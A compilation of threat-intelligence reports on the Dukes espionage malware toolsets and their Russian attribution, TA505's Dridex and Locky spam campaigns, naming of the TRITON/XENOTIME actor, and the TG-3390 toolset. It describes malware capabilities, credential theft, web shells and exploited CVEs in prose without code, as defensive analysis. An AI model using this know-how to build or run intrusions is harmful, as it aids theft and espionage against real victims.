CosmicDuke ’s information stealing functionality includes : Keylogging , Taking screenshots , Stealing clipboard contents , Stealing user files with file extensions that match a predefined list , Exporting the users cryptographic certificates including private keys , Collecting user credentials , including passwords , for a variety of popular chat and email programs as well as from web browsers CosmicDuke may use HTTP , HTTPS , FTP or WebDav to exfiltrate the collected data to a hardcoded C&C server .
While we believe CosmicDuke to be an entirely custom- written toolset with no direct sharing of code with other Duke toolsets , the high-level ways in which many of its features have been implemented appear to be shared with other members of the Duke arsenal .
Specifically , the techniques CosmicDuke uses to extract user credentials from targeted software and to detect the presence of analysis tools appear to be based on the techniques used by PinchDuke .
Likewise , many of CosmicDuke ’s persistence components use techniques also used by components associated with GeminiDuke and CozyDuke .
In all of these cases , the techniques are the same , but the code itself has been altered to work with the toolset in question , leading to small differences in the final implementation .
A few of the CosmicDuke samples we discovered also included components that attempt to exploit either of the publicly known CVE-2010-0232 or CVE-2010- 4398 privilege escalation vulnerabilities .
In the case of CVE-2010-0232 , the exploit appears to be based directly on the proof of concept code published by security researcher Tavis Ormandy when he disclosed the vulnerability .
We believe that the exploit for CVE- 2010-4398 was also based on a publicly available proof of concept .
In addition to often embedding persistence or privilege escalation components , CosmicDuke has occasionally embedded PinchDuke , GeminiDuke , or MiniDuke components .
It should be noted that CosmicDuke does not interoperate with the second , embedded malware in any way other than by writing the malware to disk and executing it .
After that , CosmicDuke and the second malware operate entirely independently of each other , including separately contacting their C&C servers .
Sometimes , both malware have used the same C&C server , but in other cases , even the servers have been different .
Finally , it is worth noting that while most of the compilation timestamps for CosmicDuke samples appear to be authentic , we are aware of a few cases of them being forged .
One such case was detailed on page 10 as an apparent evasion attempt .
Another is a loader variant seen during the spring of 2010 in conjunction with both CosmicDuke and PinchDuke .
These loader samples all had compilation timestamps purporting to be from the 24th or the 25th of September , 2001 .
However , many of these loader samples embed CosmicDuke variants that exploit the CVE-2010- 0232 privilege escalation vulnerability thus making it impossible for the compilation timestamps to be authentic .
MINIDUKE : First known activity Loader July 2010 , Backdoor May 2011 Most recent known activity Loader : Spring 2015 , Backdoor : Summer 2014 C&C communication methods HTTP(S) , Twitter , Known toolset components Downloader , Backdoor , Loader .
The MiniDuke toolset consists of multiple downloader and backdoor components , which are commonly referred to as the MiniDuke “ stage 1 ” , “ stage 2 ” , and “ stage 3 ” components as per Kaspersky ’s original MiniDuke whitepaper .
Additionally , a specific loader is often associated with the MiniDuke toolset and is referred to as the “ MiniDuke loader ” .
While the loader has often been used together with other MiniDuke components , it has also commonly been used in conjunction with CosmicDuke and PinchDuke .
In fact , the oldest samples of the loader that we have found were used with PinchDuke .
To avoid confusion however , we have decided to continue referring to the loader as the “ MiniDuke loader ” .
Two details about MiniDuke components are worth noting .
Firstly , some of the MiniDuke components were written in Assembly language .
While many malware were written in Assembly during the ‘ old days ‘ of curiosity-driven virus writing , it has since become a rarity .
Secondly , some of the MiniDuke components do not contain a hardcoded C&C server address , but instead obtain the address of a current C&C server via Twitter .
The use of Twitter either to initially obtain the address of a C&C server ( or as a backup if no hardcoded primary C&C server responds ) is a feature also found in OnionDuke , CozyDuke , and HammerDuke .
COZYDUKE : First known activity January 2010 , Most recent known activity : Spring 2015 , Other names CozyBear , CozyCar , Cozer , EuroAPT , C&C communication methods HTTP(S) , Twitter ( backup ) , Known toolset components Dropper , Modular backdoor , Multiple persistence components , Information gathering module , Screenshot module , Password stealing module , Password hash stealing module .
CozyDuke is not simply a malware toolset ; rather , it is a modular malware platform formed around a core backdoor component .
This component can be instructed by the C&C server to download and execute arbitrary modules , and it is these modules that provide CozyDuke with its vast array of functionality .
Known CozyDuke modules include : Command execution module for executing arbitrary Windows Command Prompt commands , Password stealer module , NT LAN Manager ( NTLM ) hash stealer module , System information gathering module , Screenshot module .
In addition to modules , CozyDuke can also be instructed to download and execute other , independent executables .
In some observed cases , these executables were self-extracting archive files containing common hacking tools , such as PSExec and Mimikatz , combined with script files that execute these tools .
In other cases , CozyDuke has been observed downloading and executing tools from other toolsets used by the Dukes such as OnionDuke , SeaDuke , and HammerDuke .
ONIONDUKE : First known activity February 2013 , Most recent known activity Spring 2015 , C&C communication methods HTTP(S) , Twitter ( backup ) , Known toolset components Dropper , Loader , Multiple modular core components , Information stealer , Distributed Denial of Service ( DDoS ) module , Password stealing module , Information gathering module , Social network spamming module .
The OnionDuke toolset includes at least a dropper , a loader , an information stealer Trojan and multiple modular variants with associated modules .
OnionDuke first caught our attention because it was being spread via a malicious Tor exit node .
The Tor node would intercept any unencrypted executable files being downloaded and modify those executables by adding a malicious wrapper contained an embedded OnionDuke .
Once the victim finished downloading the file and executed it , the wrapper would infect the victim ’s computer with OnionDuke before executing the original legitimate executable .
The same wrapper has also been used to wrap legitimate executable files , which were then made available for users to download from torrent sites .
Again , if a victim downloaded a torrent containing a wrapped executable , they would get infected with OnionDuke .
Finally , we have also observed victims being infected with OnionDuke after they were already infected with CozyDuke .
In these cases , CozyDuke was instructed by its C&C server to download and execute OnionDuke toolset .
SEADUKE : First known activity October 2014 , Most recent known activity Spring 2015 , Other names SeaDaddy , SeaDask , C&C communication methods HTTP(S) , Known toolset components Backdoor .
SeaDuke is a simple backdoor that focuses on executing commands retrieved from its C&C server , such as uploading and downloading files , executing system commands and evaluating additional Python code .
SeaDuke is made interesting by the fact that it is written in Python and designed to be cross-platform so that it works on both Windows and Linux .
The only known infection vector for SeaDuke is via an existing CozyDuke infection , wherein CozyDuke downloads and executes the SeaDuke toolset .
Like HammerDuke , SeaDuke appears to be used by the Dukes group primarily as a secondary backdoor left on CozyDuke victims after that toolset has completed the initial infection and stolen any readily available information from them .
HAMMERDUKE : First known activity January 2015 , Most recent known activity Summer 2015 , Other names HAMMERTOSS , Netduke , C&C communication methods HTTP(S) , Twitter , Known toolset components Backdoor .
HammerDuke is a simple backdoor that is apparently designed for similar use cases as SeaDuke .
Specifically , the only known infection vector for HammerDuke is to be downloaded and executed by CozyDuke onto a victim that has already been compromised by that toolset .
This , together with HammerDuke ’s simplistic backdoor functionality , suggests that it is primarily used by the Dukes group as a secondary backdoor left on CozyDuke victims after CozyDuke performed the initial infection and stole any readily available information from them .
HammerDuke is however interesting because it is written in .NET , and even more so because of its occasional use of Twitter as a C&C communication channel .
Some HammerDuke variants only contain a hardcoded C&C server address from which they will retrieve commands , but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date .
If the account exists , HammerDuke will then search for tweets from that account with links to image files that contain embedded commands for the toolset to execute .
HammerDuke ’s use of Twitter and crafted image files is reminiscent of other Duke toolsets .
Both OnionDuke and MiniDuke also use date-based algorithms to generate Twitter account names and then searched for any tweets from those accounts that linked to image files .
In contrast however , for OnionDuke and MiniDuke the linked image files contain embedded malware to be downloaded and executed , rather than instructions .
Similarly , GeminiDuke may also download image files , but these would contain embedded additional configuration information for the toolset itself .
Unlike HammerDuke however , the URLs for the images downloaded by GeminiDuke are hardcoded in its initial configuration , rather than retrieved from Twitter .
CLOUDDUKE : First known activity June 2015 , Most recent known activity Summer 2015 , Other names MiniDionis , CloudLook , C&C communication methods HTTP(S) , Microsoft OneDrive , Known toolset components Downloader , Loader , Two backdoor variants .
CloudDuke is a malware toolset known to consist of , at least , a downloader , a loader and two backdoor variants .
The CloudDuke downloader will download and execute additional malware from a preconfigured location .
Interestingly , that location may be either a web address or a Microsoft OneDrive account .
Both CloudDuke backdoor variants support simple backdoor functionality , similar to SeaDuke .
While one variant will use a preconfigured C&C server over HTTP or HTTPS , the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators .
THE DUKES 7 YEARS OF RUSSIAN CYBER ESPIONAGE .
The Dukes primarily use spear-phishing emails when attempting to infect victims with their malware .
These spear-phishing emails range from ones purposely designed to look like spam messages used to spread common crimeware and addressed to large numbers of people , to highly targeted emails addressed to only a few recipients ( or even just one person ) and with content that is highly relevant for the intended recipient .
In some cases , the Dukes appear to have used previously compromised victims to send new spear-phishing emails to other targets .
The spear-phishing emails used by the Dukes may contain either specially-crafted malicious attachments or links to URLs hosting the malware .
When malicious attachments are used , they may either be designed to exploit a vulnerability in a popular software assumed to be installed on the victim ’s machine , such as Microsoft Word or Adobe Reader , or the attachment itself may have its icon and filename obfuscated in such a way that the file does not appear to be an executable .
The only instances which we are aware of where the Dukes did not use spear-phishing as the initial infection vector is with certain OnionDuke variants .
These were instead spread using either a malicious Tor node that would trojanize legitimate applications on-the-fly with the OnionDuke toolset , or via torrent files containing previously trojanized versions of legitimate applications .
Finally , it is worth noting that the Dukes are known to sometimes re-infect a victim of one of their malware tools with another one of their tools .
Examples include CozyDuke infecting its victims with SeaDuke , HammerDuke ,or OnionDuke ; and CosmicDuke infecting its victims with PinchDuke ,GeminiDuke or MiniDuke .
The Dukes have employed exploits both in their infection vectors as well as in their malware .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
In all known cases where exploits were employed , we believe the Dukes did not themselves discover the vulnerabilities or design the original exploits ; for the exploited zero-day , we believe the Dukes purchased the exploit .
In all other cases , we believe the group simply repurposed publicly available exploits or proofs of concept .
Attribution is always a difficult question , but attempting to answer it is important in understanding these types of threats and how to defend against them .
This paper has already stated that we believe the Dukes to be a Russian state-sponsored cyberespionage operation .
To reach this conclusion , we began by analyzing the apparent objectives and motivations of the group .
Based on what we currently know about the targets chosen by the Dukes over the past 7 years , they appear to have consistently targeted entities that deal with foreign policy and security policy matters .
These targets have included organizations such as ministries of foreign affairs , embassies , senates , parliaments , ministries of defense , defense contractors , and think tanks .
In one of their more intriguing cases , the Dukes have appeared to also target entities involved in the trafficking of illegal drugs .
Even such targets however appear to be consistent with the overarching theme , given the drug trade ’s relevance to security policy .
Based on this , we are confident in our conclusion that the Dukes ’ primary mission is the collection of intelligence to support foreign and security policy decision-making .
Based on the length of the Dukes ’ activity , our estimate of the amount of resources invested in the operation and the fact that their activity only appears to be increasing , we believe the group to have significant and most critically , stable financial backing .
The Dukes have consistently operated large-scale campaigns against high-profile targets while concurrently engaging in smaller , more targeted campaigns with apparent coordination and no evidence of unintentional overlap or operational clashes .
We therefore believe the Dukes to be a single , large , wellcoordinated organization with clear separation of responsibilities and targets .
The Dukes appear to prioritize the continuation of their operations over stealth .
Their 2015 CozyDuke and CloudDuke campaigns take this to the extreme by apparently opting for speed and quantity over stealth and quality .
In the most extreme case , the Dukes continued with their July 2015 CloudDuke campaign even after their activity had been outed by multiple security vendors .
We therefore believe the Dukes ’ primary mission to be so valuable to their benefactors that its continuation outweighs everything else .
This apparent disregard for publicity suggests , in our opinion , that the benefactors of the Dukes is so powerful and so tightly connected to the group that the Dukes are able to operate with no apparent fear of repercussions on getting caught .
We believe the only benefactor with the power to offer such comprehensive protection would be the government of the nation from which the group operates .
We therefore believe the Dukes to work either within or directly for a government , thus ruling out the possibility of a criminal gang or another third party .
Kaspersky Labs has previously noted the presence of Russian-language artefacts in some of the Duke malware samples .
We have also found a Russian-language error message in many PinchDuke samples which translates as , “ There is an error in the module ’s name ! The length of the data section name must be 4 bytes! ” Additionally , Kaspersky noted that based on the compilation timestamps , the authors of the Duke malware appear to primarily work from Monday to Friday between the times of 6am and 4pm UTC+0 .
This corresponds to working hours between 9am and 7pm in the UTC+3 time zone , also known as Moscow Standard Time , which covers , among others , much of western Russia , including Moscow and St. Petersburg .
The Kaspersky Labs analysis of the Duke malware authors ’ working times is supported by our own analysis , as well as that performed by FireEye .
This assertion of time zone is also supported by timestamps found in many GeminiDuke samples , which similarly suggest the group work in the Moscow Standard Time timezone , as further detailed in the section on the technical analysis of GeminiDuke .
Finally , the known targets of the Dukes - Eastern European foreign ministries , western think tanks and governmental organizations , even Russian-speaking drug dealers - conform to publiclyknown Russian foreign policy and security policy interests .
Even though the Dukes appear to have targeted governments all over the world , we are unaware of them ever targeting the Russian government .
While absence of evidence is not evidence of absence , it is an interesting detail to note .
Threat Actor Profile : TA505 , From Dridex to GlobeImposter .
Proofpoint researchers track a wide range of threat actors involved in both financially motivated cybercrime and state-sponsored actions .
One of the more prolific actors that we track - referred to as TA505 - is responsible for the largest malicious spam campaigns we have ever observed , distributing instances of the Dridex banking Trojan , Locky ransomware , Jaff ransomware , The Trick banking Trojan , and several others in very high volumes .
Because TA505 is such a significant part of the email threat landscape , this blog provides a retrospective on the shifting malware , payloads , and campaigns associated with this actor .
We examine their use malware such as Jaff , Bart , and Rockloader that appear to be exclusive to this group as well as more widely distributed malware like Dridex and Pony .
Where possible , we detail the affiliate models with which they are involved and outline the current state of TA505 campaigns .
The infographic in Figure 1 traces the earliest known dates on which TA505 began distributing particular malware strains , beginning with Dridex in 2014 and most recently when they elevated GlobeImposter and Philadelphia from small , regionally targeted ransomware variants to global threats .
Of note is TA505 ’s use of the Necurs botnet to drive their massive spam campaigns .
As we saw in both 2016 and 2017 , disruptions to Necurs went hand-in-hand with quiet periods from TA505 .
When the botnet came back online , TA505 campaigns quickly returned , usually at even greater scale than before the disruption .
The following is a more detailed description of the malware and notable campaign attributes associated with TA505 .
The now infamous Dridex banking Trojan can trace much of its DNA to Cridex and Bugat .
Dridex itself appeared shortly after the Zeus banking Trojan was taken down .
It was originally documented on July 25 , 2014 ( or June 22 , 2014 , according to Kaspersky ) and the first campaign we observed in which TA505 distributed Dridex occurred three days later on July 28 .
Although a number of actors have distributed Dridex , TA505 operates multiple affiliate IDs , including what appears to be the earliest recorded affiliate , botnet ID 125 .
These early campaigns were distributed via the Lerspeng downloader while later campaigns occasionally used Pony or Andromeda as intermediate loaders to distribute various instances of Dridex .
Although TA505 initially distributed Dridex botnet ID 125 , they were observed using botnet ID 220 in March 2015 and botnet ID 223 in December of that year .
Later , they were also associated with botnet IDs 7200 and 7500 .
These botnets generally target the following regions :125: UK , US , and Canada 220: UK and Australia 223: Germany 7200: UK 7500: Australia .
TA505 continued distributing Dridex through early June 2017 using a range of email attachments .
Most recently these included PDF attachments with embedded Microsoft Word documents bearing malicious macros that call PowerShell commands that install Dridex .
However , because of the length of time for which the group has been distributing Dridex , distribution mechanisms trace the state of the art for the last two years of email campaigns with techniques ranging from straight macro documents to a variety of zipped scripts .
In October 2015 , we observed several campaigns in which TA505 targeted Japanese and UK organizations with the Shifu banking Trojan .
Shifu is relatively common in Japan but was a new addition to TA505 ’s toolbox .
It appears that they introduced Shifu after high-profile law enforcement actions impacted Dridex distribution .
However , TA505 was also among the first actors to return to high-volume Dridex distribution this same month , even as they demonstrated their ability to diversify and deliver threats beyond Dridex .
As with many of their other campaigns , TA505 delivered Shifu through macro laden Microsoft Office document attachments .
TA505 introduced Locky ransomware in February 2016 .
After alternating for over four months with Dridex , Locky became the payload of choice for TA505 , eclipsing earlier campaigns in terms of volume and reach .
TA505 stopped distributing Dridex in July 2016 , relying almost exclusively on Locky through December of that year .
Like Dridex , Locky is also distributed in an affiliate model ; TA505 exclusively distributes Locky Affid=3 .
Low-volume campaigns distributed Dridex during much of 2015 Moderate volumes of Dridex appeared from the end of 2015 through February 2016 ; it is worth noting that these “ moderate volume ” campaigns were , at the time , the largest campaigns ever observed .
Alternating Dridex and Locky campaigns of varying volumes appeared through May 2016 .
A lull in June 2016 associated with a disruption in the Necurs botnet ; TA505 is heavily reliant on this massive botnet to send out high-volume malicious spam campaigns and disappearances of TA505 activity frequently accompany disruptions in Necurs .
Extremely high-volume campaigns distributing Locky exclusively in July 2016 , consistently delivering tens of millions of messages .
Another lull in November 2016 saw the complete absence of Locky and Dridex , while high-volume campaigns reappeared in December , albeit at lower volumes than during the Q3 2016 peak .
An expected break following the 2016-2017 winter holidays turned into an unexplained three-month hiatus for TA505 .
Large-scale Dridex and Locky campaigns returned in Q2 2017 , although none reached the volumes we observed in mid-2016 .
Later campaigns saw new attachment types , even as Dridex and Locky payloads remained largely unchanged .
Locky distribution ceased in June and July but returned in August with volumes rivaling the peaks of 2016 .
TA505 turned to URLs in early August 2017 to distribute Locky , finally eschewing the document or zipped script attachments that have characterized the majority of their Locky campaigns since February 2016 ; most of these URLs linked to malicious documents and scripts .
By later August , TA505 had turned back to large attachment campaigns , primarily distributing various zipped scripts that downloaded Locky .
The group continued this pattern with occasional URL campaigns and attached HTML files bearing malicious links .
TA505 first introduced Rockloader in April 2016 as an intermediate loader for Locky .
At that time , Rockloader was the initial payload downloaded by malicious attached JavaScript files .
Once Rockloader was installed , it downloaded Locky and , in some cases , Pony and Kegotip .
Pony is another loader with information stealing capabilities while Kegotip is an credential and email address harvesting malware strain that would appear in a small number of TA505 campaigns the following year as the primary payload .
Bart ransomware appeared for exactly one day on June 24 , 2016 .
It was a secondary payload downloaded by Rockloader , the initial payload in a large email campaign using zipped JavaScript attachments .
The Bart ransom screen was visually similar to Locky ’s but Bart had one important distinction : it could encrypt files without contacting a command and control server .
However , we have not seen Bart since , suggesting that this was either an experiment or that the ransomware did not function as expected for TA505 .
TA505 briefly distributed the Kegotip information stealer in April 2017 .
Across two campaigns of several million messages each , the actor used both macro laden Microsoft Word documents and zipped VBScript attachments to install the Trojan on potential victim PCs .
Kegotip is an infostealer ( credentials and email addresses ) used to facilitate other crimeware activities .
It steals credentials from various FTP clients , Outlook , and Internet Explorer .
It also will gather email addresses scraped from files stored on the computer .
This information can be used to facilitate future spam campaigns by the perpetrator or may be sold to other actors .
TA505 introduced Jaff ransomware in May 2017 .
Jaff was not dramatically different from other ransomware strains .
The payment portal was initially similar to the one used by Locky and Bart .
It was primarily notable for its high-volume campaigns and its association with TA505 , given the actor ’s propensity for massive campaigns and ability to dominate the email landscape .
Jaff appeared in multi-million message campaigns for roughly a month and then promptly disappeared as soon as a decryptor was released in mid-June 2017 .
The Trick , also known as Trickbot , is another banking Trojan that TA505 first began distributing in June of 2017 , although we have observed The Trick in the wild since fall 2016 , usually in regionally targeted campaigns .
It is generally considered a descendant of the Dyreza banking Trojan and features mutliple modules .
The main bot is responsible for persistence , the downloading of additional modules , loading affiliate payloads , and loading updates for the malware .
As with much of the malware distributed by TA505 , The Trick has appeared in frequent , high-volume campaigns .
The campaigns used a mix of attached zipped scripts ( WSF , VBS ) , malicious Microsoft Office documents ( Word , Excel ) , HTML attachments , password-protected Microsoft Word documents , links to malicious JavaScript , and other vectors .
The last TA505 campaigns featuring The Trick appeared in mid-September 2017 with payloads alternating between Locky and The Trick .
Philadelphia ransomware has been circulating since September 2016 .
It first attracted our attention in April of this year when we observed an actor customizing the malware for use in highly targeted campaigns .
In a brief stint , TA505 distributed it in one large campaign in July , but we have not seen them use it since .
GlobeImposter is another ransomware strain that saw relatively small-scale distribution until TA505 began including it in malicious spam campaigns at the end of July 2017 .
TA505 primarily distributed GlobeImposter in zipped script attachments through the beginning of September 2017 .
Again , GlobeImposter is not particularly innovative but TA505 elevated the ransomware from a regional variant to a major landscape feature during roughly six weeks of large campaigns .
TA505 is arguably one of the most significant financially motivated threat actors because of the extraordinary volumes of messages they send .
The variety of malware delivered by the group also demonstrates their deep connections to the underground malware scene .
At the time of writing , Locky ransomware remains their malware of choice , even as the group continues to experiment with a variety of additional malware .
The history of TA505 is instructive because they: Have proven to be highly adaptable , shifting techniques and malware frequently to “ follow the money ” , while largely sticking to successful strategies where possible Are flexible , using largely interchangeable components , innovating where necessary on the malware front and using off-the-shelf malware where possible Operate at massive scale , consistently driving global trends in malware distribution and message volume .
Each of these elements makes TA505 a magnifying lens through which to consider the framework employed by many modern threat actors .
Such a framework typically consists of five elements :Actor : The attacker organization ; real humans driven by various motivations -- In the case of TA505 , the motivations are financial .
Vector : The delivery mechanism ; email via attacker-controlled or leased spam botnet -- Necurs for TA505 -- remains a dominant vector , and certainly the vector of choice for this actor .
Hoster : The sites hosting malware ; if malware is not directly attached to email , then macro enabled documents , malicious scripts , or exploit kits will pull payloads from these servers .
TA505 almost exclusively hosts malware in this way , although they vary the means of installing their final payloads on victim machines .
Payload : The malware ; software that will enable the attacker to make use of ( control , exfiltrate data from , or download more software to ) the target computer .
For TA505 , the payloads have shifted over the years and months of their activity , but their sending and hosting infrastructure make these changes relatively simple to implement .
C&C : The command and control channel that serves to relay commands between the installed malware and attackers .
TA505 operates a variety of C&C servers , allowing it to be resilient in the case of takedowns , sinkholes , and other defensive operations .
This framework enables attackers to operate in robust , horizontally segmented ecosystems , specializing in developing certain parts of the framework , and selling or leasing to others ; such frameworks are resistant to takedowns and individual component failures .
But such frameworks also increase attackers' detection surface , that is , their susceptibility to discovery .
In the case of TA505 , while most elements of the framework are well-developed , their reliance on the Necurs botnet for the sending high-volume malicious spam - a key component of the Vector element above - appears to be their Achilles heel .
A XENOTIME to Remember : Veles in the Wild .
Release_Time : 2019-12-04Report_URL : https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/“ When I use a word , ” Humpty Dumpty said , in rather a scornful tone , “ it means just what I choose it to mean—neither more nor less. ” – Through the Looking Glass , Lewis Carroll FireEye recently published a blog covering the tactics , techniques , and procedures ( TTPs ) for the “ TRITON actor ” when preparing to deploy themalware framework in 2017 .
Overall , the post does a commendable job in making public findings previously only privately shared ( presumably by FireEye , and in several reports I authored for my employer , Dragos ) to threat intelligence customers .
As such , the blog continues to push forward the narrative of how ICS attacks are enabled through prepositioning and initial intrusion operations – an item I have discussed at length .
Yet one point of confusion in the blog comes at the very start : referring to the entity responsible for TRITON as the “ TRITON actor ” .
This seems confusing as FireEye earlier publicly declared the “ TRITON actor ” as a discrete entity , linked to a Russian research institution , and christened it as “ TEMP.Veles ” .
In the 2018 public posting announcing TEMP.Veles , FireEye researchers noted that the institute in question at least supported TEMP.Veles activity in deploying TRITON , with subsequent public presentations at Cyberwarcon and the Kaspersky Lab sponsored Security Analyst Summit essentially linking TRITON and the research institute ( and therefore TEMP.Veles ) as one in the same .
Yet the most-recent posting covering TTPs from initial access through prerequisites to enable final delivery of effects on target ( deploying) avoids the use of the TEMP.Veles term entirely .
In subsequent discussion , FireEye personnel indicate that there was not “ an avalanche of evidence to substantiate ” anything more than “ TRITON actor ” – summing matters by indicating this term “ is the best we ’ve got for the public for now ” .
Meanwhile , parallel work at Dragos ( my employer , where I have performed significant work on the activity described above ) uncovered similar conclusions concerning TTPs and behaviors , for both the 2017 event and subsequent activity in other industrial sectors .
Utilizing Diamond Model methodology for characterizing activity by behaviors attached to victims , we began trackingand immediate enabling activity as a distinct activity group ( collection of behaviors , infrastructure , and victimology ) designated XENOTIME .
Based on information gained from discussion with the initialresponders and subsequent work on follow-on activity by this entity , Dragos developed a comprehensive ( public ) picture of adversary activity roughly matching FireEye ’s analysis published in April 2019 , described in various media .
At this stage , we have two similar , parallel constructions of events – the how behind the immediate deployment and execution of– yet dramatically different responses in terms of attribution and labeling .
Since late 2018 , based upon the most-recent posting , FireEye appears to have “ walked back ” the previously-used terminology of TEMP.Veles and instead refers rather cryptically to the “ TRITON actor ” , while Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Given that both organizations appear to describe similar ( if not identical ) activity , any reasonable person could ( and should ) ask – why the inconsistency in naming and identification? Aside from the competitive vendor naming landscape ( which I am not a fan of in cases on direct overlap , but which has more to say for itself when different methodologies are employed around similar observations ) , the distinction between FireEye and Dragos ’ approaches with respect to the “ TRITON actor ” comes down to fundamental philosophical differences in methodology .
As wonderfully described in a recent public posting , FireEye adheres to a naming convention based upon extensive data collection and activity comparison , designed to yield the identification of a discrete , identifiable entity responsible for a given collection of activity .
This technique is precise and praiseworthy – yet at the same time , appears so rigorous as to impose limitations on the ability to dynamically adjust and adapt to emerging adversary activity .
 ( Or for that matter , even categorize otherwise well-known historical actors operating to the present day , such as Turla .
 ) FireEye ’s methodology may have particular limitations in instances where adversaries ( such as XENOTIME and presumably TEMP.Veles ) rely upon extensive use of publicly-available , commonly-used tools with limited amounts of customization .
In such cases , utilizing purely technical approaches for differentiation ( an issue I lightly touched on in a recent post ) becomes problematic , especially when trying to define attribution to specific , “ who-based ” entities ( such as a Russian research institute ) .
My understanding is FireEye labels entities where definitive attribution is not yet possible with the “ TEMP ” moniker ( hence , TEMP.Veles ) – yet in this case FireEye developed and deployed the label , then appeared to move away from it in subsequent reporting .
Based on the public blog post – which also indicated that FireEye is responding to an intrusion at a second facility featuring the same or similar observations – this is presumably not for lack of evidence , yet the “ downgrade ” occurs all the same .
In comparison , XENOTIME was defined based on principles of infrastructure ( compromised third-party infrastructure and various networks associated with several Russian research institutions ) , capabilities ( publicly- and commercially-available tools with varying levels of customization ) and targeting ( an issue not meant for discussion in this blog ) .
In personally responding to several incidents across multiple industry sectors since early 2018 matching TTPs from theevent , these items proved consistent and supported the creation of the XENOTIME activity group .
This naming decision was founded upon the underlying methodology described in the Diamond Model of intrusion analysis .
As such , this decision does not necessarily refer to a specific institution , but rather a collection of observations and behaviors observed across multiple , similarly-situated victims .
Of note , this methodology of naming abstracts away the “ who ” element – XENOTIME may represent a single discrete entity ( such as a Russian research institution ) or several entities working in coordination in a roughly repeatable , similar manner across multiple events .
Ultimately , the epistemic foundation of the behavior-based naming approach makes this irrelevant for tracking ( and labeling for convenience sake ) observations .
Much like the observers watching the shadows of objects cast upon the wall of the cave , these two definitions ( XENOTIME and TEMP.Veles , both presumably referring to “ the TRITON actor ” ) describe the same phenomena , yet at the same time appear different .
This question of perception and accuracy rests upon the underlying epistemic framework and the goal conceived for that framework in defining an adversary : FireEye ’s methodology follows a deductive approach requiring the collection of significant evidence over time to yield a conclusion that will be necessary given the premises ( the totality of evidence suggests APTxx ) ; the Dragos approach instead seeks an inductive approach , where premises may all be true but the conclusion need not necessarily follow from them given changes in premises over time or other observations not contained within the set ( thus , identified behaviors strongly suggests an activity group , defined as X ) .
From an external analysts ’ point of view , the wonder is , which is superior to the other? And my answer for this is : neither is perfect , but both are useful – depending upon your goals and objectives .
But rather than trying to pursue some comparison between the two for identification of superiority ( an approach that will result in unproductive argument and social media warring ) , the point of this post is to highlight the distinctions between these approaches and how – in the case of “ the TRITON actor ” – they result in noticeably different conclusions from similar datasets .
One reason for the distinction may be differences in evidence , as FireEye ’s public reporting notes two distinct events of which they are aware of and have responded to related to “ the TRITON actor ” while Dragos has been engaged several instances – thus , Dragos would possess more evidence to cement the definition of an activity group , while FireEye ’s data collection-centric approach would require far more observations to yield an “ APT ” .
Yet irrespective of this , it is confusing why the previously-declared “ TEMP ” category was walked back as this has led to not small amount of confusion – in both technical and non-technical audiences – as to just what FireEye ’s blog post refers .
Thus respected journalists ( at least by me ) conflate the “ TRITON actor is active at another site ” with “ TRITON malware was identified at another site ” .
In this case , we ’re seeing a definite problem with the overly-conservative naming approach used as it engenders confusion in a significant subset of the intended audience .
While some may dismiss adversary or activity naming as so much marketing , having a distinct label for something allows for clearer communication and more accurate discussion .
Furthermore , conflating adversaries with tools , since tools can be repurposed or used by other entities than those first observed deploying them , leads to further potential confusion as the “ X actor ” is quickly compressed in the minds of some to refer to any and all instantiations of tool “ X ” .
Overall , the discussion above may appear so much splitting of hairs or determining how many angels can dance on the head of a pin – yet given the communicative impacts behind different naming and labeling conventions , this exploration seems not merely useful but necessary .
Understanding the “ how ” and “ why ” behind different entity classifications of similar ( or even the same ) activity allows us to move beyond the dismissive approach of “ everyone has their names for marketing purposes ” to a more productive mindset that grasps the fundamental methodologies that ( should ) drive these decisions .
Threat Group 3390 Cyberespionage .
CTU researchers have observed TG-3390 actors using tools that are favored by multiple threat groups :PlugX — A remote access tool notable for communications that may contain HTTP headers starting with " X- " ( e.g. , " X-Session : 0 " ) .
Its presence on a compromised system allows a threat actor to execute a wide variety of commands , including uploading and downloading files , and spawning a reverse shell .
The malware can be configured to use multiple network protocols to avoid network-based detection .
DLL side loading is often used to maintain persistence on the compromised system .
HttpBrowser ( also known as TokenControl ) — A backdoor notable for HTTPS communications with the HttpBrowser User-Agent .
HttpBrowser 's executable code may be obfuscated through structured exception handling and return-oriented programming .
Its presence on a compromised system allows a threat actor to spawn a reverse shell , upload or download files , and capture keystrokes .
Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures .
DLL side loading has been used to maintain persistence on the compromised system .
ChinaChopper web shell — A web-based executable script that allows a threat actor to execute commands on the compromised system .
The server-side component provides a simple graphical user interface for threat actors interacting with web shells .
Hunter — A web application scanning tool written by @tojen to identify vulnerabilities in Apache Tomcat , Red Hat JBoss Middleware , and Adobe ColdFusion .
It can also identify open ports , collect web banners , and download secondary files .
The following tools appear to be exclusive to TG-3390 : OwaAuth web shell — A web shell and credential stealer deployed to Microsoft Exchange servers .
It is installed as an ISAPI filter .
Captured credentials are DES encrypted using the password " 12345678 " and are written to the log.txt file in the root directory .
Like the ChinaChopper web shell , the OwaAuth web shell requires a password .
However , the OwaAuth web shell password contains the victim organization's name .
ASPXTool — A modified version of the ASPXSpy web shell .
It is deployed to internally accessible servers running Internet Information Services ( IIS ) .
TG-3390 actors have also used the following publicly available tools :Windows Credential Editor ( WCE ) — obtains passwords from memory .
 gsecdump — obtains passwords from memory .
 winrar — compresses data for Exfiltration .
 nbtscan — scans NetBIOS name servers .
CTU researchers have not observed TG-3390 actors performing reconnaissance prior to compromising organizations .
As discussed in the Actions on objectives section , the threat actors appear to wait until they have established a foothold .
TG-3390 actors use command and control ( C2 ) domains for extended periods of time but frequently change the domains' IP addresses .
The new IP addresses are typically on the same subnet as the previous ones .
TG-3390 is capable of using a C2 infrastructure that spans multiple networks and registrars .
The most common registrar used by the adversary is HiChina Zhicheng Technology Ltd .
The threat actors have a demonstrated ability to move from one network provider to another , using some infrastructure for extended periods of time and other domains for only a few days .
Seemingly random activity patterns in infrastructure deployment and usage , along with the ability to use a wide variety of geographically diverse infrastructure , help the threat actors avoid detection .
